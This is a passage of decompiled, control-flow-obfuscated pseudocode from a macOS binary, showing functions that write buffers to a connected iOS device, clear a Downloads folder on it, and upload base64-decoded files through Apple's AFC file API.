bool __fastcall AFCPushMemory(__int64 a1, __int64 a2, __int64 a3, __int64 a4)
{
int v5; // eax
bool v6; // cf
int v7; // eax
int v8; // ecx
char v9; // cf
int v10; // ecx
__int64 v11; // rax
int v12; // ecx
int v13; // eax
__int64 v15; // [rsp+0h] [rbp-70h] BYREF
__int64 v16; // [rsp+8h] [rbp-68h]
__int64 v17; // [rsp+10h] [rbp-60h]
unsigned int v18; // [rsp+18h] [rbp-58h]
unsigned int v19; // [rsp+1Ch] [rbp-54h]
int v20; // [rsp+20h] [rbp-50h]
int v21; // [rsp+24h] [rbp-4Ch] BYREF
__int64 *v22; // [rsp+28h] [rbp-48h]
bool v23; // [rsp+35h] [rbp-3Bh]
bool v24; // [rsp+36h] [rbp-3Ah]
bool v25; // [rsp+37h] [rbp-39h]
bool v26; // [rsp+38h] [rbp-38h]
bool v27; // [rsp+39h] [rbp-37h]
bool v28; // [rsp+3Ah] [rbp-36h]
bool v29; // [rsp+3Bh] [rbp-35h]
bool v30; // [rsp+3Ch] [rbp-34h]
bool v31; // [rsp+3Dh] [rbp-33h]
bool v32; // [rsp+3Eh] [rbp-32h]
bool v33; // [rsp+3Fh] [rbp-31h]
int *v34; // [rsp+40h] [rbp-30h]
v16 = a3;
v18 = 659456;
v21 = -770538638;
v34 = &v21;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v21 > -384930877 )
{
if ( v21 <= 452615701 )
{
if ( v21 > 100892680 )
{
if ( v21 > 176000298 )
{
if ( v21 == 176000299 )
{
v13 = 1875476463;
if ( v28 )
v13 = 1570233687;
*v34 = v13;
v32 = 0;
}
else if ( v21 == 235626175 )
{
v6 = 1;
v25 = v24 && v23 && a4 != 0;
v7 = -1199881012;
v8 = -1976804718;
goto LABEL_87;
}
}
else
{
if ( v21 == 100892681 )
{
v7 = 235626175;
goto LABEL_89;
}
if ( v21 == 127579832 )
{
v23 = a1 != 0;
v24 = a2 != 0;
v9 = 0;
v7 = 1015721815;
v10 = 51694480;
LABEL_37:
if ( v9 )
v7 = v10;
LABEL_89:
*v34 = v7;
}
}
}
else if ( v21 > -36931010 )
{
if ( v21 == -36931009 )
{
*v34 = 1875476463;
v32 = v29;
}
else if ( v21 == 51694480 )
{
*v34 = 127579832;
}
}
else
{
if ( v21 == -384930876 )
{
v7 = -1584513270;
goto LABEL_89;
}
if ( v21 == -54100905 )
{
v6 = 0;
v28 = v26 && v27;
v7 = -54100905;
v8 = -926538425;
goto LABEL_87;
}
}
}
else if ( v21 <= 1305850876 )
{
if ( v21 > 853114706 )
{
if ( v21 == 853114707 )
{
*v34 = -54100905;
}
else if ( v21 == 1015721815 )
{
*v34 = 100892681;
}
}
else if ( v21 == 452615702 )
{
*v22 = 0;
HikariFunctionWrapper_17983(a1);
*v34 = -1726894682;
}
else if ( v21 == 547066521 )
{
v9 = 1;
v22 = &v15 - 2;
v7 = 547066521;
v10 = 2115889499;
goto LABEL_37;
}
}
else if ( v21 <= 1875476462 )
{
if ( v21 == 1305850877 )
{
v12 = -610838531;
goto LABEL_85;
}
if ( v21 == 1570233687 )
{
v19 = v16;
*v34 = -1419383264;
}
}
else
{
switch ( v21 )
{
case 1875476463:
v30 = v32;
v7 = -1091408115;
goto LABEL_89;
case 1988137297:
v12 = -1726894682;
goto LABEL_85;
case 2115889499:
*v34 = -407633910;
break;
}
}
}
if ( v21 > -1091408116 )
break;
if ( v21 <= -1673901263 )
{
if ( v21 > -1921801834 )
{
if ( v21 == -1921801833 )
{
v31 = v33;
v6 = 1;
v7 = 1305850877;
v8 = -421627476;
LABEL_87:
if ( !v6 )
v7 = v8;
goto LABEL_89;
}
if ( v21 == -1726894682 )
{
*v22 = 0;
v26 = (unsigned int)HikariFunctionWrapper_17981(a1) == 0;
v11 = *v22;
v27 = *v22 != 0;
v15 = v11;
*v34 = -827894057;
}
}
else
{
if ( v21 == -2005282538 )
{
v12 = -54100905;
goto LABEL_85;
}
if ( v21 == -1976804718 )
*v34 = 235626175;
}
}
else if ( v21 <= -1419383265 )
{
if ( v21 == -1673901262 )
{
*v34 = 547066521;
}
else if ( v21 == -1584513270 )
{
AFCFileRefClose(a1);
v29 = v20 == 0;
v12 = -36931009;
LABEL_85:
v7 = v12;
goto LABEL_89;
}
}
else
{
switch ( v21 )
{
case -1419383264:
v20 = AFCFileRefWrite(a1, v15, a2, v19);
v17 = *v22;
*v34 = -384930876;
break;
case -1391374276:
*v34 = -1091408115;
break;
case -1199881012:
v5 = -1921801833;
if ( v25 )
v5 = 1988137297;
*v34 = v5;
v33 = 0;
break;
}
}
}
if ( v21 > -775446989 )
break;
if ( v21 > -926538426 )
{
if ( v21 == -926538425 )
{
*v34 = 176000299;
}
else if ( v21 == -827894057 )
{
*v34 = -2005282538;
}
}
else
{
if ( v21 == -1091408115 )
{
v7 = -948687095;
goto LABEL_89;
}
if ( v21 == -948687095 )
{
*v34 = -1921801833;
v33 = v30;
}
}
}
if ( v21 > -610838532 )
break;
if ( v21 == -775446988 )
{
HikariFunctionWrapper_17985(a1);
*v34 = -1584513270;
}
else if ( v21 == -770538638 )
{
v6 = v18 < 0x1A311577;
v7 = 547066521;
v8 = -1673901262;
goto LABEL_87;
}
}
if ( v21 != -421627476 )
break;
*v34 = 1305850877;
}
if ( v21 == -407633910 )
{
v6 = 0;
v7 = 51694480;
v8 = 127579832;
goto LABEL_87;
}
}
while ( v21 != -610838531 );
return v31;
}
// 100152CFC: conditional instruction was optimized away because zf.1==0
// 100256114: using guessed type __int64 __fastcall AFCFileRefClose(_QWORD);
// 100256126: using guessed type __int64 __fastcall AFCFileRefWrite(_QWORD, _QWORD, _QWORD, _QWORD);
//----- (0000000100152E29) ----------------------------------------------------
__int64 __fastcall AFCClearDownloads(__int64 a1)
{
bool v1; // zf
int v2; // eax
int v3; // ecx
char v4; // cf
int v5; // ecx
bool v6; // zf
int v7; // ecx
int v8; // eax
char v9; // cf
int v10; // ecx
bool v11; // si
int v12; // eax
__int64 v14; // [rsp+0h] [rbp-C0h] BYREF
_BYTE *v15; // [rsp+8h] [rbp-B8h]
_BYTE *v16; // [rsp+10h] [rbp-B0h]
_BYTE *v17; // [rsp+18h] [rbp-A8h]
_BYTE *v18; // [rsp+20h] [rbp-A0h]
__int64 v19; // [rsp+28h] [rbp-98h]
_BYTE *v20; // [rsp+30h] [rbp-90h]
__int64 v21; // [rsp+38h] [rbp-88h]
_BYTE *v22; // [rsp+40h] [rbp-80h]
int v23; // [rsp+4Ch] [rbp-74h]
int v24; // [rsp+50h] [rbp-70h]
int v25; // [rsp+54h] [rbp-6Ch] BYREF
char *__str; // [rsp+58h] [rbp-68h]
_BYTE *v27; // [rsp+60h] [rbp-60h]
__int64 *v28; // [rsp+68h] [rbp-58h]
__int64 *v29; // [rsp+70h] [rbp-50h]
bool v30; // [rsp+7Eh] [rbp-42h]
bool v31; // [rsp+7Fh] [rbp-41h]
bool v32; // [rsp+80h] [rbp-40h]
bool v33; // [rsp+81h] [rbp-3Fh]
bool v34; // [rsp+82h] [rbp-3Eh]
bool v35; // [rsp+83h] [rbp-3Dh]
bool v36; // [rsp+84h] [rbp-3Ch]
bool v37; // [rsp+85h] [rbp-3Bh]
bool v38; // [rsp+86h] [rbp-3Ah]
char v39; // [rsp+87h] [rbp-39h]
int *v40; // [rsp+88h] [rbp-38h]
__int64 v41; // [rsp+90h] [rbp-30h]
v41 = -1;
v23 = dword_10029F5B4;
v25 = -394388807;
v40 = &v25;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v25 <= 42800977 )
{
if ( v25 > -1055441980 )
{
if ( v25 <= -460863530 )
{
if ( v25 <= -622892198 )
{
if ( v25 > -763094489 )
{
switch ( v25 )
{
case -763094488:
v4 = 1;
v2 = 1413339058;
v5 = 930207159;
goto LABEL_274;
case -656898847:
v1 = 0;
v38 = v37 && v20 != 0;
v2 = -1169255991;
v3 = 1973941062;
goto LABEL_263;
case -655228400:
v35 = *v17 == 46;
*v40 = -1055441979;
break;
}
}
else
{
switch ( v25 )
{
case -1055441979:
v1 = !v35;
v2 = -460863529;
v3 = -1321276813;
goto LABEL_263;
case -882680652:
v9 = 0;
v2 = -1066326567;
v10 = -287212373;
goto LABEL_269;
case -771590022:
byte_100283148 = v39;
byte_100283149 = 0;
*v40 = -41809951;
break;
}
}
}
else if ( v25 <= -547971343 )
{
switch ( v25 )
{
case -622892197:
strcpy(&byte_100283154, "Downloads");
_format[0] = 68;
byte_10028313E = 111;
byte_10028313F = 119;
byte_100283140 = 110;
byte_100283141 = 108;
byte_100283142 = 111;
byte_100283143 = 97;
v4 = 1;
byte_100283144 = 100;
byte_100283145 = 115;
v2 = 1110026346;
v5 = 1271211053;
goto LABEL_274;
case -593689966:
*v40 = 496890355;
break;
case -560196792:
v4 = 1;
v2 = -547971342;
v5 = -1665333422;
goto LABEL_274;
}
}
else if ( v25 > -494371278 )
{
if ( v25 == -494371277 )
{
*v40 = 638807433;
}
else if ( v25 == -480259369 )
{
v4 = 1;
v2 = -456836309;
v5 = 1854686175;
goto LABEL_274;
}
}
else if ( v25 == -547971342 )
{
*v40 = -1665333422;
}
else if ( v25 == -535328754 )
{
v4 = 1;
v2 = 497892416;
v5 = 840305221;
goto LABEL_274;
}
}
else if ( v25 > -254083324 )
{
if ( v25 <= -136070903 )
{
switch ( v25 )
{
case -254083323:
v1 = 0;
v2 = 116019943;
v3 = -2016914834;
goto LABEL_263;
case -230054122:
*v40 = -343212893;
break;
case -181789477:
v34 = *v16 == 0;
v4 = 1;
v2 = -181789477;
v5 = 1389515544;
goto LABEL_274;
}
}
else if ( v25 > -41809952 )
{
if ( v25 == -41809951 )
{
v6 = 0;
byte_100283148 = v39;
byte_100283149 = 0;
v2 = 360303173;
v7 = -41809951;
goto LABEL_258;
}
if ( v25 == 25901988 )
{
*v28 = 0;
v31 = (unsigned int)HikariFunctionWrapper_17987(a1) == 0;
v19 = *v28;
*v40 = 641470055;
}
}
else if ( v25 == -136070902 )
{
HikariFunctionWrapper_17993(a1);
*v40 = -1227609203;
}
else if ( v25 == -123629015 )
{
*v29 = 0;
v24 = HikariFunctionWrapper_17989(a1);
*v40 = -763094488;
}
}
else if ( v25 <= -368581791 )
{
switch ( v25 )
{
case -460863529:
*v40 = 769223120;
break;
case -456836309:
*v40 = -480259369;
break;
case -394388807:
v30 = v23 == 0;
*v40 = 1516948579;
break;
}
}
else if ( v25 > -306988593 )
{
if ( v25 == -306988592 )
{
v1 = 0;
v2 = -230054122;
v3 = -343212893;
goto LABEL_263;
}
if ( v25 == -287212373 )
{
v4 = 1;
v2 = -1066326567;
v5 = -1269315185;
goto LABEL_274;
}
}
else
{
if ( v25 == -368581790 )
{
v9 = 0;
v16 = v27 + 1;
v2 = 777537767;
v10 = -1261506351;
goto LABEL_269;
}
if ( v25 == -343212893 )
{
v1 = 0;
v21 = *v28;
v2 = -230054122;
v3 = 667617946;
goto LABEL_263;
}
}
}
else if ( v25 <= -1396322968 )
{
if ( v25 <= -1901074197 )
{
if ( v25 > -2016776763 )
{
switch ( v25 )
{
case -2016776762:
byte_100283146 = 47;
byte_100283147 = 37;
v39 = 115;
*v40 = 425286343;
break;
case -1912966167:
*v40 = 1524887692;
break;
case -1903045297:
*v40 = 308649400;
break;
}
}
else
{
switch ( v25 )
{
case -2114416539:
v9 = 0;
v2 = 1291965125;
v10 = 626045615;
goto LABEL_269;
case -2101260804:
*v40 = -655228400;
break;
case -2016914834:
v4 = 0;
v2 = 843077211;
v5 = -2016914834;
goto LABEL_274;
}
}
}
else if ( v25 <= -1686164767 )
{
switch ( v25 )
{
case -1901074196:
*v40 = -1686164766;
break;
case -1739607522:
AFCDirectoryClose(a1, v21);
*v40 = 1161914765;
break;
case -1729792659:
v4 = 0;
v2 = 1991645140;
v5 = 1292031797;
goto LABEL_274;
}
}
else if ( v25 > -1550654131 )
{
if ( v25 == -1550654130 )
{
v1 = 0;
dword_10029F5B4 = 1;
v2 = 1095095384;
v3 = -1210385505;
LABEL_263:
if ( !v1 )
v2 = v3;
LABEL_276:
*v40 = v2;
}
else if ( v25 == -1490857418 )
{
v4 = 1;
v2 = -1238466170;
v5 = -181789477;
goto LABEL_274;
}
}
else
{
if ( v25 == -1686164766 )
{
v6 = a1 == 0;
v2 = -882680652;
v7 = 1524887692;
LABEL_258:
if ( v6 )
v2 = v7;
goto LABEL_276;
}
if ( v25 == -1665333422 )
{
v1 = 0;
v2 = -547971342;
v3 = 1595182037;
goto LABEL_263;
}
}
}
else if ( v25 > -1234879473 )
{
if ( v25 <= -1169255992 )
{
switch ( v25 )
{
case -1234879472:
*v40 = 1433489595;
break;
case -1227609203:
v37 = (unsigned int)AFCDirectoryRead(a1) == 0;
v6 = 0;
v20 = (_BYTE *)*v29;
v2 = 2047153916;
v7 = -136070902;
goto LABEL_258;
case -1210385505:
*v40 = -1370536908;
break;
}
}
else if ( v25 > -1146938961 )
{
if ( v25 == -1146938960 )
{
v12 = -306988592;
if ( v38 )
v12 = 1643917323;
*v40 = v12;
v22 = v20;
}
else if ( v25 == -1066326567 )
{
*v40 = -287212373;
}
}
else if ( v25 == -1169255991 )
{
*v40 = -656898847;
}
else if ( v25 == -1152733005 )
{
v6 = 0;
v2 = 1815457970;
v7 = 1822891577;
goto LABEL_258;
}
}
else if ( v25 <= -1321276814 )
{
switch ( v25 )
{
case -1396322967:
snprintf(__str, 0x200u, _format, v27);
HikariFunctionWrapper_17995(a1, (__int64)__str);
*v40 = 1638370272;
break;
case -1385100757:
*v40 = -254083323;
break;
case -1370536908:
v9 = 0;
v2 = 1885079747;
v10 = 1815746893;
goto LABEL_269;
}
}
else if ( v25 > -1261506352 )
{
if ( v25 == -1261506351 )
{
*v40 = -1490857418;
}
else if ( v25 == -1238466170 )
{
*v40 = -181789477;
}
}
else
{
if ( v25 == -1321276813 )
{
v4 = 1;
v2 = -1903045297;
v5 = 308649400;
goto LABEL_274;
}
if ( v25 == -1269315185 )
*v40 = 25901988;
}
}
if ( v25 > 1161914764 )
break;
if ( v25 <= 599752767 )
{
if ( v25 <= 360303172 )
{
if ( v25 > 119241625 )
{
switch ( v25 )
{
case 119241626:
v9 = 1;
v2 = -1146938960;
v10 = 42800978;
goto LABEL_269;
case 198093029:
v9 = 1;
v2 = -622892197;
v10 = 1110026346;
goto LABEL_269;
case 308649400:
v1 = 0;
v18 = v27 + 2;
v2 = -1903045297;
v3 = 1471312636;
goto LABEL_263;
}
}
else
{
switch ( v25 )
{
case 42800978:
*v40 = 119241626;
break;
case 96267466:
*v40 = 1635947663;
break;
case 116019943:
*v40 = -2016914834;
break;
}
}
}
else if ( v25 <= 497892415 )
{
switch ( v25 )
{
case 360303173:
*v40 = 599752768;
break;
case 425286343:
v9 = 1;
v2 = -41809951;
v10 = -771590022;
goto LABEL_269;
case 496890355:
v4 = 1;
v32 = v31 && v19 != 0;
v2 = -593689966;
v5 = 504833422;
goto LABEL_274;
}
}
else if ( v25 > 579787289 )
{
if ( v25 == 579787290 )
{
v9 = 0;
v2 = -1739607522;
v10 = 1161914765;
LABEL_269:
if ( !v9 )
v2 = v10;
goto LABEL_276;
}
if ( v25 == 594234654 )
{
v1 = !v34;
v2 = -2114416539;
LABEL_221:
v3 = 1127927757;
goto LABEL_263;
}
}
else if ( v25 == 497892416 )
{
*v40 = -535328754;
}
else if ( v25 == 504833422 )
{
v1 = !v32;
v2 = 1433489595;
v3 = -123629015;
goto LABEL_263;
}
}
else if ( v25 > 840305220 )
{
if ( v25 <= 1069975886 )
{
switch ( v25 )
{
case 840305221:
v1 = !v36;
v2 = -460863529;
goto LABEL_221;
case 843077211:
*v40 = 1127927757;
break;
case 930207159:
v11 = v24 == 0 && *v29 != 0;
v9 = 0;
v15 = (_BYTE *)*v29;
v33 = v11;
v2 = 930207159;
v10 = 1549781146;
goto LABEL_269;
}
}
else if ( v25 > 1110026345 )
{
if ( v25 == 1110026346 )
{
strcpy(&byte_100283154, "Downloads");
_format[0] = 68;
byte_10028313E = 111;
byte_10028313F = 119;
byte_100283140 = 110;
byte_100283141 = 108;
byte_100283142 = 111;
byte_100283143 = 97;
byte_100283144 = 100;
byte_100283145 = 115;
*v40 = -622892197;
}
else if ( v25 == 1127927757 )
{
v1 = 0;
v2 = -136070902;
v3 = -1227609203;
goto LABEL_263;
}
}
else
{
if ( v25 == 1069975887 )
{
v9 = 0;
v2 = 777537767;
v10 = -368581790;
goto LABEL_269;
}
if ( v25 == 1095095384 )
{
dword_10029F5B4 = 1;
*v40 = -1550654130;
}
}
}
else if ( v25 <= 641470054 )
{
switch ( v25 )
{
case 599752768:
v9 = 0;
v2 = 1095095384;
v10 = -1550654130;
goto LABEL_269;
case 626045615:
v6 = 0;
v17 = v27 + 1;
v2 = -2101260804;
v7 = 626045615;
goto LABEL_258;
case 638807433:
v4 = 0;
v2 = -1912966167;
LABEL_198:
v5 = -494371277;
goto LABEL_274;
}
}
else if ( v25 > 769223119 )
{
if ( v25 == 769223120 )
{
v9 = 1;
v2 = 1638370272;
v10 = -1396322967;
goto LABEL_269;
}
if ( v25 == 777537767 )
*v40 = -368581790;
}
else
{
if ( v25 == 641470055 )
{
v6 = 0;
v2 = 496890355;
v7 = -593689966;
goto LABEL_258;
}
if ( v25 == 667617946 )
*v40 = 579787290;
}
}
if ( v25 <= 1631705973 )
break;
if ( v25 <= 1815746892 )
{
if ( v25 > 1643917322 )
{
switch ( v25 )
{
case 1643917323:
v27 = v22;
v6 = *v22 == 46;
v2 = -460863529;
v7 = 1069975887;
goto LABEL_258;
case 1774691916:
*v40 = -1152733005;
break;
case 1815457970:
v4 = 1;
v2 = 1822891577;
v5 = -1234879472;
goto LABEL_274;
}
}
else
{
switch ( v25 )
{
case 1631705974:
v4 = 0;
v2 = 119241626;
v5 = 42800978;
goto LABEL_274;
case 1635947663:
v9 = 1;
v2 = -535328754;
v10 = 497892416;
goto LABEL_269;
case 1638370272:
snprintf(__str, 0x200u, _format, v27);
HikariFunctionWrapper_17991(a1, (__int64)__str);
v6 = 0;
v2 = -1385100757;
v7 = -1396322967;
goto LABEL_258;
}
}
}
else if ( v25 <= 1885079746 )
{
switch ( v25 )
{
case 1815746893:
v28 = &v14;
v29 = &v14;
v6 = 0;
__str = (char *)(&v14 - 64);
v2 = -1901074196;
v7 = 1885079747;
goto LABEL_258;
case 1822891577:
*v40 = 1815457970;
break;
case 1854686175:
v1 = !v30;
v2 = 599752768;
v3 = 198093029;
goto LABEL_263;
}
}
else if ( v25 > 1991645139 )
{
if ( v25 == 1991645140 )
{
v36 = *v18 == 0;
v4 = 0;
v2 = 96267466;
v5 = 1991645140;
LABEL_274:
if ( v4 )
v2 = v5;
goto LABEL_276;
}
if ( v25 == 2047153916 )
*v40 = 1512251322;
}
else if ( v25 == 1885079747 )
{
*v40 = 1815746893;
}
else if ( v25 == 1973941062 )
{
*v40 = 1631705974;
}
}
if ( v25 > 1471312635 )
break;
if ( v25 <= 1292031796 )
{
switch ( v25 )
{
case 1161914765:
AFCDirectoryClose(a1, v21);
v1 = 0;
v2 = 1161914765;
v3 = 1774691916;
goto LABEL_263;
case 1271211053:
*v40 = -2016776762;
break;
case 1291965125:
*v40 = 626045615;
break;
}
}
else if ( v25 > 1413339057 )
{
if ( v25 == 1413339058 )
{
*v40 = 930207159;
}
else if ( v25 == 1433489595 )
{
*v40 = 1541062003;
}
}
else if ( v25 == 1292031797 )
{
*v40 = 1991645140;
}
else if ( v25 == 1389515544 )
{
*v40 = 594234654;
}
}
if ( v25 > 1524887691 )
break;
switch ( v25 )
{
case 1471312636:
*v40 = -1729792659;
break;
case 1512251322:
v4 = 1;
v2 = -1169255991;
v5 = -656898847;
goto LABEL_274;
case 1516948579:
v1 = 0;
v2 = -456836309;
v3 = -480259369;
goto LABEL_263;
}
}
if ( v25 <= 1549781145 )
break;
if ( v25 == 1549781146 )
{
*v40 = -560196792;
}
else if ( v25 == 1595182037 )
{
v8 = -306988592;
if ( v33 )
v8 = 1643917323;
*v40 = v8;
v22 = v15;
}
}
if ( v25 == 1541062003 )
{
v4 = 0;
v2 = 638807433;
goto LABEL_198;
}
}
while ( v25 != 1524887692 );
return -1;
}
// 1002560FC: using guessed type __int64 __fastcall AFCDirectoryClose(_QWORD, _QWORD);
// 100256108: using guessed type __int64 __fastcall AFCDirectoryRead(_QWORD);
// 10028313E: using guessed type char byte_10028313E;
// 10028313F: using guessed type char byte_10028313F;
// 100283140: using guessed type char byte_100283140;
// 100283141: using guessed type char byte_100283141;
// 100283142: using guessed type char byte_100283142;
// 100283143: using guessed type char byte_100283143;
// 100283144: using guessed type char byte_100283144;
// 100283145: using guessed type char byte_100283145;
// 100283146: using guessed type char byte_100283146;
// 100283147: using guessed type char byte_100283147;
// 100283148: using guessed type char byte_100283148;
// 100283149: using guessed type char byte_100283149;
// 100283154: using guessed type char byte_100283154;
// 10029F5B4: using guessed type int dword_10029F5B4;
//----- (0000000100154AE0) ----------------------------------------------------
__int64 __fastcall UploadBase64FilesFromXML(id a1, __int64 a2)
{
char v2; // cf
int v3; // eax
int v4; // ecx
char v5; // cf
int v6; // ecx
bool v7; // zf
int v8; // ecx
id v9; // rax
bool v10; // zf
int v11; // ecx
id v12; // rax
int v13; // eax
id v14; // r13
id v15; // rax
id v16; // rax
id v17; // rax
id v18; // rax
id v19; // rax
id v20; // rax
id v21; // rax
id v22; // rax
id v23; // r13
int v24; // eax
id v25; // rax
id v26; // rax
NSArray *v27; // rax
id v28; // rax
id v29; // r13
id v30; // rax
id v31; // rax
id v32; // r13
id v33; // rax
id v34; // rax
id v35; // r13
id v36; // rax
id v37; // rax
id v38; // rax
int v39; // eax
id v40; // rax
__int64 v42; // [rsp+0h] [rbp-180h] BYREF
id v43; // [rsp+8h] [rbp-178h]
SEL v44; // [rsp+10h] [rbp-170h]
const char *v45; // [rsp+18h] [rbp-168h]
void *v46; // [rsp+20h] [rbp-160h]
id v47; // [rsp+28h] [rbp-158h]
id v48; // [rsp+30h] [rbp-150h]
id v49; // [rsp+38h] [rbp-148h]
id v50; // [rsp+40h] [rbp-140h]
id v51; // [rsp+48h] [rbp-138h]
SEL v52; // [rsp+50h] [rbp-130h]
SEL v53; // [rsp+58h] [rbp-128h]
SEL v54; // [rsp+60h] [rbp-120h]
id v55; // [rsp+68h] [rbp-118h]
id v56; // [rsp+70h] [rbp-110h]
unsigned __int64 v57; // [rsp+78h] [rbp-108h]
unsigned __int64 v58; // [rsp+80h] [rbp-100h]
id v59; // [rsp+88h] [rbp-F8h]
id v60; // [rsp+90h] [rbp-F0h]
id v61; // [rsp+98h] [rbp-E8h]
id v62; // [rsp+A0h] [rbp-E0h]
int v63; // [rsp+A8h] [rbp-D8h]
int v64; // [rsp+ACh] [rbp-D4h] BYREF
id v65; // [rsp+B0h] [rbp-D0h]
id v66; // [rsp+B8h] [rbp-C8h]
__int64 v67; // [rsp+C0h] [rbp-C0h]
id *v68; // [rsp+C8h] [rbp-B8h]
__int64 *v69; // [rsp+D0h] [rbp-B0h]
__int64 *v70; // [rsp+D8h] [rbp-A8h]
SEL v71; // [rsp+E0h] [rbp-A0h]
id v72; // [rsp+E8h] [rbp-98h]
SEL v73; // [rsp+F0h] [rbp-90h]
SEL v74; // [rsp+F8h] [rbp-88h]
SEL v75; // [rsp+100h] [rbp-80h]
id v76; // [rsp+108h] [rbp-78h]
unsigned __int64 v77; // [rsp+110h] [rbp-70h]
SEL v78; // [rsp+118h] [rbp-68h]
id v79; // [rsp+120h] [rbp-60h]
id v80; // [rsp+128h] [rbp-58h]
id v81; // [rsp+130h] [rbp-50h]
bool v82; // [rsp+13Dh] [rbp-43h]
char v83; // [rsp+13Eh] [rbp-42h]
bool v84; // [rsp+13Fh] [rbp-41h]
char v85; // [rsp+140h] [rbp-40h]
bool v86; // [rsp+141h] [rbp-3Fh]
bool v87; // [rsp+142h] [rbp-3Eh]
bool v88; // [rsp+143h] [rbp-3Dh]
bool v89; // [rsp+144h] [rbp-3Ch]
bool v90; // [rsp+145h] [rbp-3Bh]
bool v91; // [rsp+146h] [rbp-3Ah]
bool v92; // [rsp+147h] [rbp-39h]
int *v93; // [rsp+148h] [rbp-38h]
__int64 v94; // [rsp+150h] [rbp-30h]
v67 = a2;
v94 = -1;
v63 = dword_10029F5B8;
v64 = -1037974220;
v93 = &v64;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v64 <= 30070257 )
{
if ( v64 > -989966024 )
{
if ( v64 > -481593447 )
{
if ( v64 <= -316552366 )
{
if ( v64 > -405565387 )
{
if ( v64 > -349731674 )
{
if ( v64 == -349731673 )
{
objc_release(v81);
*v93 = -536570187;
}
else if ( v64 == -328556599 )
{
*v93 = 1862144922;
}
}
else
{
if ( v64 == -405565386 )
{
objc_release(v72);
v10 = 0;
v3 = 534623424;
v11 = -405565386;
goto LABEL_337;
}
if ( v64 == -394001005 )
{
*v93 = 452834388;
v58 = 0;
}
}
}
else if ( v64 > -446685281 )
{
if ( v64 == -446685280 )
{
v7 = v85 == 0;
v3 = 1012944494;
v8 = -1609416520;
goto LABEL_353;
}
if ( v64 == -412794197 )
{
v5 = 1;
v3 = 1859650887;
v6 = -1705964243;
goto LABEL_345;
}
}
else if ( v64 == -481593446 )
{
*v93 = -1185617290;
}
else if ( v64 == -454243662 )
{
v5 = 1;
v3 = 1659472785;
v6 = -454243662;
goto LABEL_345;
}
}
else if ( v64 <= -88184112 )
{
if ( v64 > -255500044 )
{
if ( v64 == -255500043 )
{
*v93 = 1940313615;
}
else if ( v64 == -154402170 )
{
v62 = v60;
v10 = 0;
v3 = 213420286;
v11 = 94639751;
goto LABEL_337;
}
}
else
{
if ( v64 == -316552365 )
{
objc_release(v72);
goto LABEL_325;
}
if ( v64 == -305771432 )
*v93 = 1677958027;
}
}
else if ( v64 <= -72030052 )
{
if ( v64 == -88184111 )
{
v10 = 0;
v3 = 1059727977;
goto LABEL_336;
}
if ( v64 == -78199138 )
{
v10 = 0;
v3 = 1848033693;
v11 = 287762836;
goto LABEL_337;
}
}
else
{
switch ( v64 )
{
case -72030051:
v35 = HikariFunctionWrapper_18021(v81, v54);
v36 = HikariFunctionWrapper_18023(v81, v75);
AFCPushMemory(v67, (__int64)v35, (__int64)v36, (__int64)v56);
*v93 = 768559551;
break;
case -57411375:
*v93 = -2079842516;
break;
case -54784072:
objc_release(v80);
v7 = 0;
v3 = -54784072;
v8 = -1814461363;
goto LABEL_353;
}
}
}
else if ( v64 <= -734528189 )
{
if ( v64 > -780361464 )
{
if ( v64 > -765540256 )
{
if ( v64 == -765540255 )
{
v7 = !v86;
v3 = 1113688132;
v8 = -989966023;
goto LABEL_353;
}
if ( v64 == -747811251 )
{
v5 = 1;
v3 = 1732312348;
LABEL_274:
v6 = 973113096;
goto LABEL_345;
}
}
else if ( v64 == -780361463 )
{
*v93 = 1170873130;
}
else if ( v64 == -778886967 )
{
*v93 = 916422768;
}
}
else if ( v64 > -923774302 )
{
if ( v64 == -923774301 )
{
v28 = HikariFunctionWrapper_18019(v72, v74);
v29 = objc_retainAutoreleasedReturnValue(v28);
objc_retainAutorelease(v29);
objc_msgSend(v29, v53);
objc_release(v29);
*v93 = 212413903;
}
else if ( v64 == -794673648 )
{
v20 = objc_msgSend(v50, v78);
objc_msgSend(v76, "isKindOfClass:", v20);
*v93 = 411077790;
}
}
else
{
if ( v64 == -989966023 )
{
v2 = 1;
v3 = 769892821;
v4 = -997292116;
goto LABEL_349;
}
if ( v64 == -971582337 )
*v93 = -2129329973;
}
}
else if ( v64 <= -586246020 )
{
if ( v64 > -647731447 )
{
if ( v64 == -647731446 )
{
*v93 = -454243662;
}
else if ( v64 == -641820821 )
{
v2 = 0;
v3 = -54784072;
v4 = 34842889;
goto LABEL_349;
}
}
else if ( v64 == -734528188 )
{
*v93 = 1232240344;
}
else if ( v64 == -682284561 )
{
v10 = 0;
v3 = -1137176233;
v11 = 1279980648;
goto LABEL_337;
}
}
else if ( v64 <= -534586443 )
{
if ( v64 == -586246019 )
{
v39 = 232347757;
if ( v92 )
v39 = 452834388;
*v93 = v39;
v58 = v57;
}
else if ( v64 == -536570187 )
{
*v93 = -154402170;
v60 = v81;
}
}
else
{
switch ( v64 )
{
case -534586442:
*v93 = -1232965862;
break;
case -489861750:
v2 = 1;
v3 = -489861750;
v4 = 1353101748;
LABEL_349:
if ( v2 )
v3 = v4;
goto LABEL_355;
case -484203914:
v90 = (unsigned __int8)objc_msgSend(v80, v71, v55) == 0;
v5 = 1;
v3 = 596487238;
v6 = -484203914;
goto LABEL_345;
}
}
}
else if ( v64 > -1621684890 )
{
if ( v64 <= -1252195749 )
{
if ( v64 > -1445223455 )
{
if ( v64 > -1414059295 )
{
if ( v64 == -1414059294 )
{
v30 = HikariFunctionWrapper_18003((objc_class *)&OBJC_CLASS___NSData);
v5 = 1;
v46 = v30;
v3 = -971582337;
v6 = 812226574;
goto LABEL_345;
}
if ( v64 == -1351019724 )
{
v21 = objc_msgSend(v79, v74, v77);
objc_retainAutoreleasedReturnValue(v21);
v22 = HikariFunctionWrapper_18009(v76, v52);
v23 = objc_retainAutoreleasedReturnValue(v22);
HikariFunctionWrapper_18011(&OBJC_CLASS___NSData, v78);
HikariFunctionWrapper_18013(v23, v71);
*v93 = 197826445;
}
}
else if ( v64 == -1445223454 )
{
asc_100283300[4] = 97;
asc_100283300[5] = 122;
asc_100283300[6] = 93;
asc_100283300[7] = 32;
asc_100283300[8] = 69;
asc_100283300[9] = 114;
asc_100283300[10] = 114;
asc_100283300[11] = 111;
